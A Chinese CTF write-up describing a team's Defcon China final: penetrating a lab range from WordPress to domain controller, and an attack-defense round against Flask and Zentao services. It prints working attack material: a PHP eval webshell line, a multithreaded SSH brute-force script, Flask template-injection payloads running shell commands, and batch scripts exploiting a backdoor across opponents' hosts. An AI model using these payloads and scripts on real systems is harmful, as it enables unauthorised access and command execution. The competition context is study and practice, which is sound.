萌新的第一次线下决赛,毫无意外的被打爆,打扰了我太菜了,告辞!
下面记录一下这次的收获吧。
靶场渗透
这次靶场是打的真的爽,也学习了很多东西。从一个博客开始到服务器到内网最后拿域控权限,打的真的爽啊。这里有5个flag,我们在拿域控,靶场总共6个flag。然后最开始博客的服务器里面我早就发现了一个pwn,应该最后一个flag。
唯一的遗憾是没时间了,mimikatz没升级,拿ms14-068打的时候缺少ptc模块,然后就没时间了,怪可惜了。唉。
因为是内网,所以没复现环境.刚好l3m0n师傅写了wp。师傅肯定写的比我详细,贴一下地址:
Defcon China 靶场题 – 内网渗透Writeup
有些地方我们和l3mon师傅打的不一样,但是大体差不多。
开始吧!
首先第一关是wordpress博客,是一个twentyseventeen主题,首先在主页面发现了一个上传点,试图传马但是好像没用。然后进入默认的后台登陆页面
http://192.168.1.2/wp-admin/
尝试弱口令登陆,admin/admin直接进入后台,然后wordpress后台修改404.php来getshell。
参考文章:
http://192.168.1.2//wp-content/themes/twentyseventeen/404.php
修改加入一句话
@eval($_POST[‘pass’]);
然后蚁剑连接,找一波之后没有发现flag,倒是在根目录下找到一个大马shell.php (http://192.168.1.2/shell.php)
全局grep搜flag
grep flag -r /*
没发现flag,但是我诡异的发现了lib目录里面的c文件,然后有注释#flag for pwn,这里应该有一个flag。但是我不会…告辞。
然后就没思路了,先放着,想到权限不够可能要提权。
ubantu14.04,4.40内核
发现并不能,执行exp的时候,反而把靶场打gg了,这尼玛就很迷了,用掉了一次重置机会。
然后拿最新的ubantu提权upstream44打:https://github.com/jas502n/Ubuntu-0day
执行exp的时候一直卡在那了,我也不懂,可能主办方搞了什么我不懂的操作233333
所以不了了之,打不下来。然后就想到了一开始博客主界面的上传界面。
然后主办方在这时放出了hint:管理员会定时查看上传的doc文档。
这里马上就想到office word钓鱼提权。拿CVE-2017-11882打一发
https://github.com/Ridter/CVE-2017-11882
然后用端口转发,msf监听端口弹shell。很明显是win服务器。
进入了192.168.2.1/24段,在根目录下找到了第二个flag。尴尬的是第一个flag还没拿到。
进去之后内网扫描一发
添加路由 run autoroute -s 192.168.2.1/24 进行端口扫描 use auxiliary/scanner/portscan/tcp set PORTS 3389,445,22,80,8080 set RHoSTS 192.168.2.1/24 set THREADS 50 exploit
先把各自的ip和内容说一下:
192.168.2.10 ————————————AD域-DC域控
192.168.2.112————————————AD域-PC个人机
192.168.2.104———————————–tomcat
192.168.2.114————————————word click sever
我们拿到的是114的权限。扫一波发现104的8080存在tomcat,默认账号密码可以进入
tomcat/tomcat
然后传jsp大马,拿到shell,在根目录下和/var/www/flag分别拿到flag。到这里就卡了,倒回去打提权那题。
打了好久还是没有提权成功。mmp的第一个flag还没拿到。
过了好久才然后脑洞大开ssh爆破第一个服务器密码:http://homeway.me/2015/06/20/python-violence-ssh-attack/
#!/usr/bin/python python # -*- coding: utf-8 -*- import paramiko,threading,sys,time,os class SSHThread(threading.Thread): def __init__(self, ip, port, timeout, dic, LogFile): threading.Thread.__init__(self) self.ip = ip self.port = port self.dict = dic self.timeout = timeout self.LogFile = LogFile def run(self): print("Start try ssh => %s" % self.ip) username = "root" try: password = open(self.dict).read().split('\n') except: print("Open dict file `%s` error" % self.dict) exit(1) for pwd in password: try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self.ip, self.port, username, pwd, timeout = self.timeout) print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd)) open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (time.asctime( time.localtime(time.time()) ), self.ip, self.port, username, pwd)) break except: print("IP => %s, Error %s => %s" % (self.ip, username, pwd)) pass def ViolenceSSH(ip, port, timeout, dic, LogFile): ssh_scan = SSHThread(ip, port, timeout, dic, LogFile) ssh_scan.start() def main(ipFile, dic, log): if ipFile == "-h": help() try: ipText = open(ipFile).read().split('\n') for ip in ipText: if ip != '': time.sleep(0.5) threading.Thread(target = ViolenceSSH, args = (ip, 22, 1, dic, log, )).start() except: print("Open IP list file `%s` error" % ipFile) exit(1) def help(): print("python ssh.scan.py 使用说明:\n\ python ssh.scan.py ip_file_path dict_file_path ssh_log_path \n") exit(1) if __name__ == '__main__': fpath = os.path.dirname(os.path.abspath('__file__')) ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath+"/dict/ip" dic = sys.argv[2] if len(sys.argv) > 2 else fpath+"/dict/password" log = sys.argv[3] if len(sys.argv) > 3 else fpath+"/log/sshd" try: os.system("clear") main(ipFile, dic, log) except KeyboardInterrupt: exit(1)
东西很简单,主要默认目录如下:
|--ssh.scan.py
|--/log:
sshd
|--/dict:
ip
password
ip和password按照一行一个放置就行了。
弱口令top1000跑一发,发现ssh密码是admin。nice啊!终于拿到了第一个flag。太坑了弱口令2333333
通过104打112AD域PC的时候卡了,发现有3389端口开放,各种弱口令都试了,没用。
依然不知道用户名和密码。这时主办方出了hint,某个服务器的用户名和密码可能在某个数据库里面,我们马上回去找已经拿到的服务器的数据库。这里耗了很多时间,好像我的jps大马有问题,菜刀连不上,只能一步一步的查询数据库,哎,用太多时间卡这了。确实是我的锅。
最后在104服务器一个数据库里找到了用户名和密码。
3389远程登陆进112AD域PC端.
但这只是拿到域内机器的本地administrator权限,需要提权提升到system权限。这应该是最后一个flag。
马上想到ms14-068,域权限提升。
搜了一下,大多都是python写的exp,但是目前112机是win7系统,不可能去装个python环境吧,果断找exe的exp。
我找到一个文章:《域渗透提权之MS14-068》
这篇文章是不使用python脚本的。按照文章打一波,应该是能打出来的,看l3mon师傅的wp也是这样打。唯一的缺陷就是之前说的,mimikatz出了问题和时间到了,可惜…
靶场渗透就这些了,打扰了太菜了。
A&D攻防
萌新第一次打A&D,12点开始比赛,开始之后四小时进入A&D模式,18点暂停比赛,第一天打两个小时awd。
按照我之前写的文章《CTF线下AWD攻防模式的准备工作及起手式》打,ssh密码是随机的,应该不用改。
这次有两个web,一个flaskbb,一个禅道cms9.8.3,什么都不管先down源码。期间发现禅道是弱口令admin/123456,进去之后赶紧改密码(禅道第一次登陆之后默认要求改密码),然后考虑能不能登别人的禅道改别人的后台密码。然而我并没有搞懂怎么打别人,怎么访问别人的服务?一脸蒙蔽。开始审计源码。
很快发现禅道有个function door(),应该是后门,注释掉发现并没有判down,也并没有被打,那应该是防住了。
然而还没有缓过神来,flask就已经被打了,讲真我真的慌了,紧张了,旁边的提示其实是只显示我们队的信息。而我以为是全场的,想想,全场只有我队被打,只有我队扣分,多么难受啊!当时看一眼积分榜就骂一句mmp,心态是真的崩。哎,太紧张了。
早早就在流量包里面发现了对面打过来的payload,也没有啥垃圾流量的。
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“cat /fla*”).read()}}
明显的flask模板渲染命令注入,但是我不知道怎么去打别人…找不到别人在哪。不管了,修一下洞先
改成跳转502badaway,就行了,主页面也502badaway,应该没问题了。但是出现了一个尴尬的问题,flask如何重启?
我python app.py不行,重启httpd服务权限不够,最后用kill进程解决了问题。
然后第一天比赛就结束了。flask应该就这一个模板渲染的洞。因为不大会flask,只能看流量找别人的payload,然后蒙蔽的不知道怎么打别人。
回去之后和ADog一起分析了一下那个后门。这个后门之前在国赛出过,叫做weevely3
参考乐清师傅的文章:《weevely3后门分析》
一模一样的后门,只有参数不一样。写好exp,因为不会打别人,不知道别人在哪,打不了,只能写好打本地的禅道。
但是利用这个后门需要满足两个欧皇条件,第一,进入对方靶机后台。第二,对方没有把后门注释。
然而,只要进入了后台,自动要求改密码的,不可能知道别人后台密码是什么。
也就是说,除非出0day,不然不可能利用起来。
然后认真读当时拍下来的比赛规则:
对抗区是172.16.5.0/24,我们自己是172.16.5.25.
那应该我们都在同一个网段,用masscan来扫出他们的地址,再加上端口:
masscan -p5070 172.16.5.0/24
第二天实际扫描的结果:
Discovered open port 5070/tcp on 172.16.5.18
Discovered open port 5070/tcp on 172.16.5.12
Discovered open port 5070/tcp on 172.16.5.20
Discovered open port 5070/tcp on 172.16.5.21
Discovered open port 5070/tcp on 172.16.5.23
Discovered open port 5070/tcp on 172.16.5.10
Discovered open port 5070/tcp on 172.16.5.24
Discovered open port 5070/tcp on 172.16.5.22
Discovered open port 5070/tcp on 172.16.5.19
Discovered open port 5070/tcp on 172.16.5.16
Discovered open port 5070/tcp on 172.16.5.17
Discovered open port 5070/tcp on 172.16.5.13
Discovered open port 5070/tcp on 172.16.5.14
Discovered open port 5070/tcp on 172.16.5.26
Discovered open port 5070/tcp on 172.16.5.15
Discovered open port 5070/tcp on 172.16.5.11
25是我们自己,11到26都是对方的靶机。
那行,写flask的批量脚本,最后测试只有3个队能拿flag
#-*-coding:utf-*-
import requests
import random
import re
import time
def getflag(url):
url += '{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen("cat /fla*").read()}}'
headers={
'Host':'flaskweb.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
}
s=requests.get(url=url,headers=headers,timeout=5)
try:
return s.content
except:
print 'error!'
def post(flag):
url = 'https://172.16.4.1/Common/awd_sub_answer'
data = {
'answer':flag,
'token' : '10e0a17dda379958fdc1891461ff6547'
}
s=requests.post(url=url,data=data,verify=False)
print s.content
if __name__ == '__main__':
for i in range(11,26): if i==25: continue
url = 'http://172.16.5.%d' % i
url += ':5070/'
content = getflag(url).replace('\n','')
flag = re.findall('http://flaskweb.com/(.*?)not found',content)[0].strip()
print flag
post(flag)
到最后都修了这个洞。一个flag都拿不了。
第二天禅道一开始就被打了,这尼玛是0day啊,我们昨天改的后台密码登不上了,查看流量,看不懂他的payload,于是我们申请重置,结果快不过他们的脚本,后台密码还是被改了,安装昨天的推论,需要先进后台才能利用那个后门(前提是没有注释掉)就先放下了。5分钟一轮,一直拿flask的分。到12点才去看禅道的流量,猛然发现,卧槽,源码被改了!!
不需要进后台直接就能拿flag。woc!
直接把晚上研究的脚本批量:
#!/usr/bin/python
#coding=utf-8
import sys,requests,base64,re
def getflag(url):
s=requests.session()
headers = {
'Accept-Language' : 'ah;q=0.8,an-US;q=0.1,an;q=0.2,an;q=0.3',
'Cookie' : 'lang=zh-cn; device=desktop; theme=default; windowWidth=1536; windowHeight=701; keepLogin=on; za=admin; zp=b8ed03c266b6b4c05d76a3f3ebafefa5ed3ad628; zentaosid=gmi8vjco0litcsquukqnuga5g6',
'Referer' : 'http://114.114.114.114/?q0=hahaha&q1=b4e&q2=G/9PnEkWL/S2Myt8SWm2dqgqKGWyjGA5LxRikw==&q3=f5b'
}
url+='www/index.php?m=misc&f=door'
s=requests.get(url=url,headers=headers)
content = re.findall('<ccd2e8f9>(.*?)</ccd2e8f9>',s.content)
try:
return content[0]
except:
print 'null!'
def decode(content):
s=requests.session()
url='http://127.0.0.1/123.php'
data = {
'q': content
}
s=requests.post(url=url,data=data)
return s.content
def post(flag):
url = 'https://172.16.4.1/Common/awd_sub_answer'
data = {
'answer':flag,
'token' : '10e0a17dda379958fdc1891461ff6547'
}
s=requests.post(url=url,data=data,verify=False)
print s.content
if __name__ == '__main__':
for i in range(11,27):
if i ==25:
continue
url='http://172.16.5.%d:5073/' % i
if(decode(getflag(url))):
print url
content = decode(getflag(url))
if len(content)<60:
print content
post(content)
else:
print url+'Error!'
也是每轮只能打三个队的flag。如果注释掉后门的话也打不了。
但是我们也被打了!!!我们是注释掉后门了的,那就是另外的骚操作了,看payload貌似是靠sso单点登陆,但是好像忘记加referer了,一直302跳转,sso失败,唉,赛后才发现没有加referer,太可惜了。
但是还有一个点,主办方是不会改源码的,但是我们也重置过了,源码确实被改了。
最开始打我们的是Nu1L!赛后听别的队说他们也是拿别人payload直接打的。
后来我写这篇文章的时候才想到,会不会是Nu1L一晚上挖出了最新禅道的0day,并且自己改了个sso的洞然后写好了批量打全场getshell改源码并自己用sso的洞再来拿flag。并写入内存马。
细思极恐!但这又可能是最接近真相的推测。
第一名30w,拿0day做题并不奇怪,这就是国际强队的水平吗orz,太强了,太强了。
之后flask改了check规则,主页面不能502badaway,我们只要处理那个报错页面就行了,但是这次使用kill进程来重启却不行了,不知道主办方干嘛了。kill掉不重启,就一直down,重置次数也用完了,gg!一直down到比赛结束,mmp的。
赛后才知道,原来可以利用模板渲染的那个洞来重启flask,因为模板渲染的命令注入是root权限的,
{{().__class__.__bases__.0.__subclasses__().59.__init__.__globals__.linecache.os.popen(“service httpd restart”).read()}}
重启httpd服务即可。
A&D也就这样了。
被虐的挺惨的确实orz…
努力加油吧!
人生就是在被虐和被虐和被虐中疯狂成长。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论